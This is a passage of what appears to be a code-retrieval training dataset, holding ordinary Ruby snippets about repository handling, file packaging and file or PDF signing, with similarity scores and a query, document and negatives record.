"def package_docs(package_site)\n site_map.sites.each do |site|\n next if not package_site == '' and not package_site == site.id\n site.distros.each do |distro_id,branches|\n branches.each do |branch|\n src_dir = File.join(preview_dir,distro_id,branch.dir)\n tgt_tdir = branch.dir.split('/')\n tgt_tdir.pop\n tgt_dir = ''\n if tgt_tdir.length > 0\n tgt_dir = File.join(package_dir,site.id,tgt_tdir.join('/'))\n else\n tgt_dir = File.join(package_dir,site.id)\n end\n next if not File.directory?(src_dir)\n FileUtils.mkdir_p(tgt_dir)\n FileUtils.cp_r(src_dir,tgt_dir)\n end\n site_dir = File.join(package_dir,site.id)\n if File.directory?(site_dir)\n log_unknown(\"Packaging #{distro_id} for #{site.id} site.\")\n\n # Any files in the root of the docs repo with names ending in:\n # *-#{site}.html\n # will get copied into the root dir of the packaged site with\n # the site name stripped out.\n #\n # Example: for site name 'commercial', the files:\n # * index-commercial.html would end up as #{site_root}/index.html\n # * search-commercial.html would end up as #{site_root}/search.html\n # * index-community.html would be ignored\n site_files = Dir.glob(File.join(docs_root_dir, '*-' + site.id + '.html'))\n unless site_files.empty?\n site_files.each do |fpath|\n target_basename = File.basename(fpath).gsub(/-#{site.id}\\.html$/, '.html')\n FileUtils.cp(fpath,File.join(package_dir,site.id,target_basename))\n end\n else\n FileUtils.cp(File.join(preview_dir,distro_id,'index.html'),File.join(package_dir,site.id,'index.html'))\n end\n ['_images','_stylesheets'].each do |support_dir|\n FileUtils.cp_r(File.join(docs_root_dir,support_dir),File.join(package_dir,site.id,support_dir))\n end\n\n # Now build a sitemap\n site_dir_path = Pathname.new(site_dir)\n SitemapGenerator::Sitemap.create(\n :default_host => site.url,\n :public_path => site_dir_path,\n :compress => false,\n :filename => File.join(site_dir,'sitemap')\n ) do\n file_list = Find.find(site_dir).select{ |path| not path.nil? and path =~ /.*\\.html$/ }.map{ |path| '/' + Pathname.new(path).relative_path_from(site_dir_path).to_s }\n file_list.each do |file|\n add(file, :changefreq => 'daily')\n end\n end\n end\n end\n end\n end",
"def find_all(repo, options = {})\n refs = []\n already = {}\n Dir.chdir(repo.path) do\n files = Dir.glob(prefix + '/**/*')\n files.each do |ref|\n next if !File.file?(ref)\n id = File.read(ref).chomp\n name = ref.sub(\"#{prefix}/\", '')\n commit = Commit.create(repo, :id => id)\n if !already[name]\n refs << self.new(name, commit)\n already[name] = true\n end\n end\n\n if File.file?('packed-refs')\n File.readlines('packed-refs').each do |line|\n if m = /^(\\w{40}) (.*?)$/.match(line)\n next if !Regexp.new('^' + prefix).match(m[2])\n name = m[2].sub(\"#{prefix}/\", '')\n commit = Commit.create(repo, :id => m[1])\n if !already[name]\n refs << self.new(name, commit)\n already[name] = true\n end\n end\n end\n end\n end\n\n refs\n end",
"def make!(dirs, label='', fsg=nil)\n @label = label\n dirs = normalize_path(dirs)\n @host = Socket.gethostname\n\n # TODO: This is inefficient since we are often pruning leading\n # paths while Find.find returns a full pathname. Is there some\n # more sane way to call Find.find so it does not return full\n # pathnames? Concatenating is likely to be faster than slicing.\n\n filename_list = []\n filename_list_len = 0\n Find.find(@dir) do |f|\n if f != @dir\n filename_list.push(f)\n filename_list_len += 1\n # Print a friendly message every INCREMENT files to let them know it's working.\n # TODO: Show how long it took to find that many files.\n # TODO: Convert to showing progress every N seconds.\n HDB.verbose and ((filename_list_len % INCREMENT) == 0) and puts \"...#{filename_list_len} files...\"\n end\n end\n HDB.verbose and puts \"Found #{filename_list_len} files total.\"\n \n # Sort the list of filenames, because I think find returns them in\n # a moderately undefined order, and it's nice to see the metadata\n # creation happen in lexical order.\n filename_list.sort!\n\n if @prune_leading_dir\n if @dir == \"/\"\n leading_dir = @dir\n else\n leading_dir = @dir + File::SEPARATOR\n end\n HDB.debug and puts \"Leading dir of archive: #{leading_dir}\"\n leading_dir_len = leading_dir.length()\n # This forms a lexical closure with leading_dir_len, I hope.\n get_archive_filename = proc { |f| f.slice(leading_dir_len, f.length()) }\n else\n # TODO: This is currently untested.\n get_archive_filename = proc { |f| f }\n end\n \n filename_list_len = filename_list.length # just to be paranoid\n filename_list.each_index do |i|\n f = filename_list[i]\n HDB.verbose and puts \"Creating metadata (##{i+1}/#{filename_list_len}) #{f}\"\n begin\n m = Metadata.new(:file, f, get_archive_filename.call(f), fsg)\n rescue Errno::ENOENT\n # the file isn't there any more\n puts \"...gone already\"\n else\n self.push(m)\n end\n end\n\n self.sort!\n return self\n end",
"def setup()\n create_directories\n end",
"def index\n @entities = Entity::Repo.roots\n end",
"def build_repo repo_path, file_structure\n file_structure.each do |entry|\n add_file entry\n end\n end",
"def repo\n @repo\n end",
"def create_derivatives\n GeoMetadataExtractor.new(change_set: parent_change_set, file_node: resource, persister: change_set_persister).extract\n end",
"def index\n @repositories = policy_scope(Repository)\n @team_repositories = Repository\n .joins(namespace: { team: :users })\n .where(\"users.id = :user_id\", user_id: current_user.id)\n @other_repositories = @repositories - @team_repositories\n @team_repositories_serialized = API::Entities::Repositories.represent(\n @team_repositories,\n current_user: current_user,\n type: :internal\n ).to_json\n @other_repositories_serialized = API::Entities::Repositories.represent(\n @other_repositories,\n current_user: current_user,\n type: :internal\n ).to_json\n end",
"def initialize_repo\n puts \"starting to initialize repo: '#{self.ident}' finished successfully.\"\n self.update_repo\n end",
"def gather_repos(books)\n\tbooks.each do |book|\n\t\tYAML.load(File.open(Dir.home + '/workspace/' + book + '/config.yml'))['sections'].each do |section| \n\t\t\t@repo_list.push(section['repository']['name'])\n\t\tend\n\tend\n\t@repo_list.delete('cloudfoundry/uaa')\n\treview_check @repo_list.uniq\nend",
"def make_gist\n @gist = Gist.new(:description => \"TODO Gist\",\n :public => false)\n @gist[\"list.json\"] = \"[]\"\n @gists.save @gist\n end",
"def spec_dirs; end",
"def get_raw_repository_images\n # Docker image object inspection:\n # Docker::Image { :id => ae0d36c75a1deac924ef426162f4356118a780140c709e16bbb6d4aa435c8d34, :info => {\"ParentId\"=>\"ae9aedc2812918e2f5bc80d17de557de0f9ed18e1f10cc3609b10c0e1c1a24d2\", \"RepoTags\"=>[\"docker.cucloud.net/rais/pidash-uxwork-zach:e40c5a1\"], \"RepoDigests\"=>[], \"Created\"=>1438632097, \"Size\"=>6202783, \"VirtualSize\"=>486874949, \"Labels\"=>{}, \"id\"=>\"ae0d36c75a1deac924ef426162f4356118a780140c709e16bbb6d4aa435c8d34\"}, :connection => Docker::Connection { :url => unix:///, :options => {:socket=>\"/var/run/docker.sock\"} } }\n\n #https://github.com/bkeepers/dotenv\n images = Docker::Image.all\n\n repo_images = []\n\n images.each do |image|\n # check to see if this image is tagged with the local repository (can have multiple tags)\n # note - this could probably be improved with some enumerable magic - revisit it\n include_image = false\n image.info[\"RepoTags\"].each do |tag|\n if tag[0..@repository_name.length] == @repository_name + \":\"\n include_image = true\n end\n end\n\n if include_image\n repo_images << image\n end\n end\n\n return repo_images\n\n end",
"def output_directory(payload)\n path = File.join(\n working_directory(payload),\n 'generated-repositories'\n )\n FileUtils.mkdir_p(File.dirname(path))\n path\n end",
"def loadRepository\n\n @DIR_NAME = @REPOSITORYPATHORSELECT\n\n #puts \"#{@DIR_NAME} Index is... #{@DIR_NAME.index(\"/\")} : #{@@FS}\"\n\n \t\tif (@DIR_NAME.index(\"/\") != nil && @@FS == \"\\\\\" )\n \t\t\t@DIR_NAME = Parser.replaceAll(@DIR_NAME,\"/\",@@FS)\n \t\telsif( @DIR_NAME.index(\"\\\\\") != nil && @@FS == \"/\")\n \t\t\t@DIR_NAME = Parser.replaceAll(@DIR_NAME,\"\\\\\",@@FS)\n end\n\n #puts \"1 dirname... #{@DIR_NAME}\"\n\n @DIR_NAME = @DIR_NAME[0..@DIR_NAME.rindex(@@FS)]\n #puts \"2 dirname... #{@DIR_NAME}\"\n \t\t@FILE_NAME = @REPOSITORYPATHORSELECT\n #puts \"1 filename... #{@FILE_NAME}\"\n \t\tif( @FILE_NAME.index(\"/\") != nil && @@FS == \"\\\\\")\n \t\t\t@FILE_NAME = Parser.replaceAll(@FILE_NAME,\"/\",@@FS)\n \t\telsif( @FILE_NAME.index(\"\\\\\") != nil && @@FS == \"/\")\n \t\t\t@FILE_NAME = Parser.replaceAll(@FILE_NAME,\"\\\\\",@@FS)\n end\n #puts \"2 filename... #{@FILE_NAME}\"\n @FILE_NAME = @FILE_NAME[@FILE_NAME.rindex(@@FS)+1,@FILE_NAME.size]\n #puts \"3 filename... #{@FILE_NAME}\"\n\n #puts \"loadRepository : #{@DIR_NAME}\"\n if !File.exist?(@DIR_NAME)\n FileUtils.mkdir_p(@DIR_NAME)\n end\n if File.exist?(@DIR_NAME+@FILE_NAME)\n loadeOb = File.open(@DIR_NAME+@FILE_NAME).read\n @REPOSITORY = YAML::load(loadeOb)\n else\n @REPOSITORY = Hash.new\n end\n return @REPOSITORY\n end",
"def repos\n client.repos({}, query: { sort: \"asc\" })\n end",
"def repo_files\n @vault.sys.auths.select { |_,v| v.type == 'ldap' }\n .keys\n .inject([]) { |acc, elem| acc + group_files(elem) }\n end",
"def index\n @repositories = Repository.all\n end",
"def repo\n @repository\n end",
"def list\n @repos\n end",
"def setup\n info \"Setting up repository for #{name} in #{location}\"\n Repository.new(self).setup\n end",
"def repository_elements(marc)\n field852 = field852_for(marc)\n repository = {\n name: 'repository',\n encodinganalog: '852',\n children: []\n }\n repository[:children] << {\n name: 'corpname',\n value: \"#{field852['a']}\"\n }\n repository[:children] << {\n name: 'address',\n children: [{ name: \"addressline\", value: field852['e']}]\n }\n [repository]\n end",
"def initialize_generate\n super\n add_accessors\n declare_chefignore\n declare_gitignore\n end",
"def build_directories_records\n directories_records.each { |r| r.build }\n end",
"def repo_docs_for(uuid)\n string_response = make_request_for('repo_solr_docs', uuid)\n convert_to_json_docs(string_response) if string_response\n end",
"def download_mut_deps( mut_dir )\n FileUtils.chdir mut_dir, :verbose => verbose?\n cmd = \"puppet module build --render-as=json\"\n puts cmd if verbose?\n tgz = `#{cmd}`.split(\"\\n\").last.gsub('\"','')\n puts \"built module archive: #{tgz}\" if verbose?\n cmd = \"puppet module install #{tgz} \" +\n \"--module_repository=#{@upstream_puppet_forge} \" +\n \"--modulepath=#{@mods_dir} --target-dir=#{@mods_dir}\"\n v1 cmd\n out = `#{cmd}`\n v1 out\n\n # add the\n FileUtils.cp tgz, @tars_dir, :verbose => verbose?\n end",
"def generate_derivatives\n get_and_unlock(derivatives_subdirectory)\n\n # Create 'thumbnails' and 'access' directories if they arent present already.\n access_dir_path = File.join(clone_location, derivatives_subdirectory, 'access')\n thumbnail_dir_path = File.join(clone_location, derivatives_subdirectory, 'thumbnails')\n\n [access_dir_path, thumbnail_dir_path].each do |dir|\n FileUtils.mkdir(dir) unless File.exist?(dir)\n end\n\n # Create derivatives for jpeg and tiff files. For any audio files, link any assets, that are found.\n assets.each do |asset|\n if asset.mime_type == 'audio/vnd.wave' # Only linking access derivatives for wave files.\n access_derivative_path = File.join(access_dir_path, \"#{File.basename(asset.filename, '.*')}.mp3\")\n access_derivative_relative_path = Pathname.new(access_derivative_path).relative_path_from(Pathname.new(clone_location)).to_s\n\n if File.exist?(access_derivative_path)\n asset.access_file_location = clone.annex.lookupkey(access_derivative_relative_path)\n asset.save!\n end\n elsif asset.mime_type == 'image/jpeg' || asset.mime_type == 'image/tiff'\n relative_file_path = File.join(assets_subdirectory, asset.filename)\n get_and_unlock(relative_file_path)\n\n file_path = File.join(clone_location, relative_file_path)\n\n access_filepath = Bulwark::Derivatives::Image.access_copy(file_path, access_dir_path)\n access_relative_path = Pathname.new(access_filepath).relative_path_from(Pathname.new(clone_location)).to_s\n version_control_agent.add({ content: access_relative_path, include_dotfiles: true }, clone_location)\n asset.access_file_location = version_control_agent.look_up_key(access_relative_path, clone_location)\n\n thumbnail_filepath = Bulwark::Derivatives::Image.thumbnail(file_path, thumbnail_dir_path)\n thumbnail_relative_path = Pathname.new(thumbnail_filepath).relative_path_from(Pathname.new(clone_location)).to_s\n version_control_agent.add({ content: thumbnail_relative_path, include_dotfiles: true }, clone_location)\n asset.thumbnail_file_location = version_control_agent.look_up_key(thumbnail_relative_path, clone_location)\n\n asset.save!\n\n version_control_agent.lock(relative_file_path, clone_location)\n version_control_agent.drop({ content: relative_file_path }, clone_location)\n end\n end\n\n metadata_builder.update!(last_file_checks: DateTime.current)\n\n version_control_agent.lock(derivatives_subdirectory, clone_location)\n version_control_agent.commit(I18n.t('version_control_agents.commit_messages.generated_all_derivatives', object_id: names.fedora), clone_location)\n version_control_agent.push({ content: derivatives_subdirectory }, clone_location)\n end",
"def initialize_directory_structure # rubocop:disable Metrics/MethodLength\n result = []\n\n %w[day hour minute].each do |unit|\n @intervals[unit].reverse.each do |i|\n dir = File.join(@to_dir, \"#{unit}s_ago\", i.to_s)\n FileUtils.mkdir_p(dir)\n fname = File.join(dir, @tarfile)\n $stderr << fname << \"\\n\"\n result << SnapshotFile.new(fname, unit)\n end\n end\n\n result\n end",
"def build_repo_structure()\n #if there isn't a dvcs folder\n if check_folder_contents(\"dvcs\")\n #build and enter the dvcs folder\n if (new_folder(\"dvcs\") and system(\"cd dvcs\"))\n #build folders inside the dvcs folder\n if (new_folder(\"hooks\") and new_folder(\"info\") and new_folder(\"objects\") and new_folder(\"refs\"))\n #build files inside the dvcs folder\n if (new_file(\"config\") and new_file(\"description\") and new_file(\"HEAD\") and new_file(\"index\"))\n #if everything works, navigate back out, and return success.\n system(\"cd ..\")\n true\n end\n else\n puts(\"error building folders\")\n false\n end\n else\n puts(\"error building dvcs folder\")\n false\n end\n else\n puts(\"Error: dvcs folder already exists\")\n false\n end\n end",
"def index\n @public_repositories = PublicRepository.all\n end",
"def deploy_nexus_config\n Nexus.open(NEXUS_CONFIG[:url]) do |nexus|\n group_id = \"org.fusesource.#{key}\"\n \n #\n # Setup the repo target\n #\n target_id = nexus.get_repo_targets_by_name[group_id]\n if( target_id == nil )\n puts \"creating the repo target\"\n target_id = nexus.post_repo_target(\"name\"=>group_id, \"patterns\"=>[\".*/org/fusesource/#{key}/.*\"])[\"id\"]\n end\n\n #\n # Setup the staging profile\n #\n staging_rule_set_id = nexus.get_staging_rule_sets_by_name[\"Maven Central Sync Validation\"]\n staging_profile_id = nexus.get_staging_profile_by_name[group_id]\n if( !staging_profile_id ) \n staging_profile = {\n \"name\"=>group_id,\n \"repositoryTargetId\"=>target_id,\n \"promotionTargetRepository\"=>\"releases-to-central\",\n \"closeRuleSets\"=>[staging_rule_set_id]\n }\n staging_profile_id = nexus.post_staging_profile(staging_profile)[\"id\"]\n end\n \n #\n # Setup the repo target permissions\n #\n privileges_by_name = nexus.get_privileges_by_name;\n names = [\"create\",\"read\", \"update\", \"delete\"].collect {|x| \"#{group_id} - all - (#{x})\"}\n privilege_ids = privileges_by_name.values_at(*names).compact\n if( privilege_ids.length !=4 )\n privilege_ids.each {|x| nexus.delete_privilege(x)}\n nexus.post_privileges_target(\"name\"=>\"#{group_id} - all\", \n \"repositoryTargetId\"=>target_id,\n \"description\"=>\"#{group_id} - all\").inspect\n end\n \n names = [\"create\",\"read\", \"update\", \"delete\"].collect {|x| \"#{group_id} - snapshots - (#{x})\"}\n privilege_ids = privileges_by_name.values_at(*names).compact\n if( privilege_ids.length !=4 )\n privilege_ids.each {|x| nexus.delete_privilege(x)}\n nexus.post_privileges_target(\"name\"=>\"#{group_id} - snapshots\", \n \"repositoryTargetId\"=>target_id,\n \"repositoryId\"=>\"snapshots\",\n \"description\"=>\"#{group_id} - snapshots\").inspect\n end\n \n #\n # Setup the role for members.\n #\n roles_by_name = nexus.get_roles_by_name\n privileges_by_name = nexus.get_privileges_by_name;\n \n roles = []\n roles << roles_by_name[\"Staging: Deployer (#{group_id})\"]\n roles << roles_by_name[\"Nexus Developer Role\"]\n roles << roles_by_name[\"UI: Staging Repositories\"]\n roles << roles_by_name[\"Repo: All Repositories (Read)\"]\n \n privileges = []\n privileges << privileges_by_name[\"#{group_id} - all - (create)\"]\n privileges << privileges_by_name[\"#{group_id} - all - (read)\"]\n privileges << privileges_by_name[\"#{group_id} - all - (update)\"]\n privileges << privileges_by_name[\"#{group_id} - snapshots - (delete)\"]\n privileges << privileges_by_name[\"Staging: Profile #{group_id} - (promote)\"]\n \n role_id = \"forge-#{key}-members\"\n role = {\"id\"=>role_id,\"name\"=>role_id,\n \"description\"=>\"Forge Role: #{role_id}\",\n \"sessionTimeout\"=>60,\"roles\"=>roles,\"privileges\"=>privileges}\n \n if( roles_by_name[role_id] ) \n nexus.put_role(role)\n else \n nexus.post_role(role)\n end\n\n #\n # Setup the role for admins.\n #\n role_id = \"forge-#{key}-admins\"\n role = {\"id\"=>role_id,\"name\"=>role_id,\n \"description\"=>\"Forge Role: #{role_id}\",\n \"sessionTimeout\"=>60,\"roles\"=>[\"forge-#{key}-members\"]}\n if( roles_by_name[role_id] ) \n nexus.put_role(role)\n else \n nexus.post_role(role)\n end\n end \n \n end",
"def install_seeds\n self.seeds.sort.each do |name, seed|\n dirname = File.join(self.root_path, \"Seeds\", seed.name)\n self.install_seed(seed, Shellwords.escape(dirname))\n\n next if not seed.files\n\n # add seed files to `source_files`\n self.source_files[name] = []\n seed.files.each do |file|\n paths = Dir.glob(File.join(dirname, file))\n\n # exclude files\n seed.exclude_files.each do |exclude_file|\n exclude_paths = Dir.glob(File.join(dirname, exclude_file))\n exclude_paths.each do |exclude_path|\n paths.delete(exclude_path)\n end\n end\n\n paths.each do |path|\n path = self.path_with_prefix(seed.name, path)\n self.source_files[name].push(path)\n end\n end\n end\n end",
"def entries_for_prod_dir vendor_product_id, year=nil\n\n entries=[]\n paths=_get_index_paths(vendor_product_id, year)\n paths.each { |path|\n Dir.entries(path).each {|entry_name|\n next if entry_name == '.' || entry_name == '..'\n entries << entry_name}\n }\n\n entries\n end",
"def find_repositories\n @repos = GithubApi.call :repos\n end",
"def fs_description\n repo_path = File.dirname(child_paths['cookbooks'][0])\n result = \"repository at #{repo_path}\\n\"\n if Chef::Config[:versioned_cookbooks]\n result << \" Multiple versions per cookbook\\n\"\n else\n result << \" One version per cookbook\\n\"\n end\n child_paths.each_pair do |name, paths|\n if paths.any? { |path| File.dirname(path) != repo_path }\n result << \" #{name} at #{paths.join(', ')}\\n\"\n end\n end\n result\n end",
"def expand_entities_list(apply_ignore_filter = true)\n @config.entities.inject({ }) do |h, source|\n h[source] =\n case (source)\n when /^mysql:\\/\\/([^\\/]+)\\/(.*)/\n db_list = [ ]\n db = Gititback::Database.new(@config.connections[$1.to_sym])\n db.connection($1) do |c|\n if $2 == '*'\n c.query(\"SHOW DATABASES\") do |res|\n while (row = res.fetch_row)\n db_list << row[0]\n end\n end\n else\n db_list << $2\n end\n end\n db_list\n else\n Dir.glob(File.expand_path(source)).reject do |path|\n !File.directory?(path) or (apply_ignore_filter and should_ignore_source?(path))\n end\n end\n h\n end\n end",
"def repository\n digital_object.repository\n end",
"def scan_dirs(paths)\n paths.each do |dir_obj|\n dir_obj = File::expand_path(dir_obj)\n Find.find(dir_obj) do |ent|\n dir_ent = DirEntity.new(ent)\n # get SHA 256 if it's a file\n if File.ftype(ent) == 'file'\n dir_ent.file_hash = Digest::SHA256.file(ent) \n else\n dir_ent.is_dir = true\n end\n # stat both files and directories to be stored.\n stat = File::Stat.new(ent)\n dir_ent.perms = sprintf(\"%o\", stat.mode)\n dir_ent.owner, dir_ent.group = stat.uid, stat.gid \n\n dir_ent.report\n dir_ent.print_json\n @fsys_objects << dir_ent.create_json\n end\n end\n end",
"def find_repos( datasets )\n repos = []\n datasets.each do |dataset|\n league_key = dataset[0]\n league = Writer::LEAGUES[ league_key ]\n pp league\n path = league[:path]\n\n ## use only first part e.g. europe/belgium => europe\n repos << path.split( %r{[/\\\\]})[0]\n end\n pp repos\n repos.uniq ## note: remove duplicates (e.g. europe or world or such)\nend",
"def repo_all_commits_structures(repo_dir, commits_file, structures_dir)\n sdir = Pathname.new(Dir.pwd) + Pathname.new(structures_dir)\n base_dir = Pathname.new(repo_dir).basename.to_s\n FileUtils.mkdir_p(sdir + \"dir\")\n FileUtils.mkdir_p(sdir + \"dep\")\n lang = detect_language(repo_dir) # Detect programming language \n i = MCommits.new(commits_file).all_commits.size # Reverse order\n file_kenc = KeyEncoder.new\n make_temp_dir do |tmpdir|\n # Copy repo to temp folder\n FileUtils.cp_r repo_dir, tmpdir\n temp_repo_dir = tmpdir + \"/\" + base_dir\n \n chdir_return(temp_repo_dir) do\n keep_going = true\n while keep_going do\n i -= 1\n # Generate Directory Structure Graph\n puts \"Generating Dir Structure Graph\"\n directory_graph(\".\", \"%s/%d.txt\" % [(sdir+\"dir\").relative_path_from(Pathname.new Dir.pwd).to_s, i], file_kenc)\n\n key_count = file_kenc.key_count\n\n # Generate dependency graph if language is supported\n unless lang.nil?\n case lang\n when :ruby\n puts \"Generating Dependency Graph\"\n RubyFilesMatcher.new('.').dependency_graph_to_file(\"%s/%d.txt\" % [(sdir+\"dep\").relative_path_from(Pathname.new Dir.pwd).to_s, i], file_kenc)\n else\n puts \"Unsupported Programming Language\"\n end\n raise \"Dependency Graph is not supposed to generate more keys!\" if key_count != file_kenc.key_count\n end\n\n puts \"Rewinding...\"\n stdin, stdout, stderr = Open3.popen3(\"git reset --hard HEAD~1\")\n keep_going = false if stderr.readlines.length > 0 # While not getting \"...unknown revision or path not in the working tree...\"\n end\n end\n \n end\n raise \"Number of Commits Don't Match\" if i != 0\n file_kenc.to_file(sdir + \"file_key.txt\")\nend",
"def new_dirs; end",
"def repository\n raise NotImplementedError\n end"
] |
[
"0.58840704",
"0.5864802",
"0.57742053",
"0.57647485",
"0.57647485",
"0.57647485",
"0.57647485",
"0.5701553",
"0.5689896",
"0.5676539",
"0.5675987",
"0.56477207",
"0.56251127",
"0.557836",
"0.54690534",
"0.54528403",
"0.5433646",
"0.543322",
"0.5426511",
"0.5426511",
"0.5417237",
"0.5408986",
"0.53949624",
"0.5394289",
"0.5389817",
"0.5384484",
"0.5381273",
"0.5342949",
"0.53382504",
"0.5302669",
"0.5300468",
"0.52893114",
"0.5286629",
"0.5286101",
"0.5286101",
"0.5283197",
"0.52661794",
"0.52353346",
"0.5214703",
"0.51967806",
"0.519602",
"0.51921135",
"0.51810485",
"0.5174636",
"0.51643956",
"0.5162716",
"0.5145787",
"0.5143177",
"0.5136346",
"0.5129753",
"0.5126988",
"0.5126444",
"0.51224715",
"0.51201844",
"0.5115957",
"0.51150185",
"0.51150185",
"0.5110447",
"0.5109513",
"0.5097495",
"0.5097114",
"0.509695",
"0.50938475",
"0.50888455",
"0.5082103",
"0.50736916",
"0.50678825",
"0.50636387",
"0.5062602",
"0.50609815",
"0.5057427",
"0.5051528",
"0.5050219",
"0.50426507",
"0.5041566",
"0.5040682",
"0.5039172",
"0.5036515",
"0.5030096",
"0.5028631",
"0.5026522",
"0.5025688",
"0.501648",
"0.50108385",
"0.5003256",
"0.5002853",
"0.49975806",
"0.49950317",
"0.4990686",
"0.49895045",
"0.49876815",
"0.49842724",
"0.4982651",
"0.4982561",
"0.49800017",
"0.49775708",
"0.4974726",
"0.49708995",
"0.496817",
"0.49645945"
] |
0.678255
|
0
|
Sign file if configured for signing
|
def sign_file_if_setup(opts = nil)
path = yield
if signer && options[:sign]
signer.file(path, nil, opts)
end
path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def process_signing\n if sign_file?\n @appearance = @stamper.getSignatureAppearance().to_java(Java::ComLowagieTextPdf::PdfSignatureAppearance)\n @appearance.setCrypto(@private_key, @cert_chain, nil, Java::ComLowagieTextPdf::PdfSignatureAppearance::WINCER_SIGNED)\n end\n end",
"def sign_file?\n @private_key_path && File.exists?(@private_key_path)\n end",
"def sign(path)\n status \"Signing #{File.basename(path)} ...\"\n\n run 'gpg', '--sign', '--detach-sign', '--armor', path\n end",
"def sign_certificate\n sign_certificate_for(default)\n end",
"def check_for_signature\n if signature_file_name_changed?\n sign if signature.present?\n end\n true\n end",
"def sign_file(path, key)\n hmac = OpenSSL::HMAC.new(key, OpenSSL::Digest::SHA256.new)\n file_chunks(path, 0, @mac_len).each { |chunk| hmac.update chunk }\n hmac.digest\n end",
"def sign(path)\n status \"Checksums for #{File.basename(path)}:\"\n\n puts\n puts \" md5: #{Digest::MD5.file(path)}\" if @md5\n puts \" sha1: #{Digest::SHA1.file(path)}\" if @sha1\n puts \" sha2: #{Digest::SHA2.file(path)}\" if @sha2\n puts \" sha512: #{Digest::SHA512.file(path)}\" if @sha512\n puts\n end",
"def sign!\n @signed_date_time = Time.now.utc.strftime('%Y-%m-%dT%H:%M:%SZ')\n @signature = Cybersource::Security.generate_signature(signed_data)\n\n self\n end",
"def signer\n end",
"def sign()\n # TODO\n end",
"def mark_signed!\n @signed = true\n end",
"def verify(file)\n # Read YAML file and comment\n data = YAML.load(File.open(file + SIGEXT))\n raise KeyfileError, \"Invalid file #{file + SIGEXT} content\" unless data && data.is_a?(Hash)\n\n puts \"Signature in file: #{file + SIGEXT}\" if @options[:verbose]\n clearsg = !File.file?(file)\n\n # Hash data\n start = Time.now\n sha = if clearsg\n raise VerificationError, \"File #{file} does not exist, no signed data\" if data[:data].nil?\n Digest::SHA512.new\n else\n puts \"⚠ Warning: clear sign data found but ignored\" if data.has_key?(:data)\n Digest::SHA512.file(file)\n end\n sha << \"\\0x00\" + data[:comment] unless data[:comment].nil?\n sha << \"\\0x00\" + data[:datetime].to_s\n sha << \"\\0x00\" + data[:data] if clearsg\n\n # Control data\n ctn = Enc.decode(data[:signature])\n pub = Ed25519::VerifyKey.new Enc.decode_key(data[:verifykey])\n puts \"Signed with key: #{abbrev_key(data[:verifykey])}\" if @options[:verbose]\n t = get_trusted_keys.include?(data[:verifykey]) ? \"with trusted key\" :\n \"but the verify key is ✖ not trusted\\n (#{data[:verifykey]})\"\n pub.verify(ctn, sha.digest) || raise(VerificationError, \"BAD signature\")\n if clearsg\n $stderr.puts \"✔ Good signature #{t}\\n signed on #{Time.at(data[:datetime])}\"\n $stdout.print data[:data]\n $stderr.puts \"Comment: #{data[:comment]}\\n\" unless data[:comment].nil?\n else\n puts \"✔ Good signature #{t}\\n signed on #{Time.at(data[:datetime])}\"\n puts \"(⏲ #{'%.2f' % ((Time.now - start) * 1000)} ms)\" if @options[:verbose]\n puts \"Comment: #{data[:comment]}\\n\" unless data[:comment].nil?\n end\nend",
"def sign_key; end",
"def create_and_sign(src_dir, cert_dir, target)\n\n # Required Apple Safari developer security files:\n # - cert.der, cert01, cert02, key.pem, size.txt\n cert_dir = File.expand_path('~/.private/safari')\n size_file = File.join(cert_dir, 'size.txt')\n\n # Create the extension archive file\n sh \"xar -czf #{target} --distribution #{src_dir}\"\n\n # Generate and sign archive digest\n sh \"xar --sign -f #{target} \\\n --digestinfo-to-sign digest.dat \\\n --sig-size #{File.read(size_file).strip} \\\n --cert-loc #{cert_dir}/cert.der \\\n --cert-loc #{cert_dir}/cert01 \\\n --cert-loc #{cert_dir}/cert02\"\n\n # Generate and inject signature file\n sh \"openssl rsautl -sign -inkey #{cert_dir}/key.pem \\\n -in digest.dat -out sig.dat\"\n sh \"xar --inject-sig sig.dat -f #{target}\"\n\n # Clean up\n rm_f ['sig.dat', 'digest.dat']\n FileUtils.chmod 0744, target\n\nend",
"def signed?\n !signature.nil?\n end",
"def sign_package(package_file)\n success = false\n timestamp_servers.each do |ts|\n success = try_sign(package_file, ts)\n break if success\n end\n raise FailedToSignWindowsPackage.new unless success\n end",
"def pdf_to_sign\n _get_pdf_to_sign\n end",
"def start\n\n # Retrieve parameters\n @file_to_sign = params[:file_id]\n @cert_thumb = params[:cert_thumb]\n @cert_content = params[:cert_content]\n\n # Get instance of the PadesSignatureStarter class, responsible for receiving\n # the signature elements and start the signature process.\n signature_starter = PkiExpress::PadesSignatureStarter.new\n\n # Set PKI default options (see util.rb)\n set_pki_defaults(signature_starter)\n\n # Set signature policy.\n signature_starter.signature_policy = PkiExpress::StandardSignaturePolicies::PADES_BASIC_WITH_LTV\n\n # Set PDF to be signed.\n signature_starter.pdf_to_sign_path = get_data_path(@file_to_sign)\n\n # Set Base64-encoded certificate's content to signature starter.\n signature_starter.certificate_base64 = @cert_content\n\n # Set visual representation. We provide a class that represents the visual\n # representation model.\n signature_starter.visual_representation = get_visual_representation\n\n # Start the signature process. Receive as response a SignatureStartResult\n # instance containing the following fields:\n # - to_sign_hash: The hash to be signed.\n # - digest_algorithm_name: The digest algorithm's name that be used to\n # configure Web PKI component to compute the signature.\n # - digest_algorithm_oid: The digest algorithm's oid that be used to\n # configure Web PKI component to compute the signature.\n # - transfer_file_id: A temporary file's id to be passed to \"complete\" step.\n result = signature_starter.start\n\n @to_sign_hash = result.to_sign_hash\n @transfer_file_id = result.transfer_file_id\n @digest_algorithm = result.digest_algorithm_name\n end",
"def signature_file=(content_raw)\n _set_signature_file(content_raw)\n end",
"def signing_key; end",
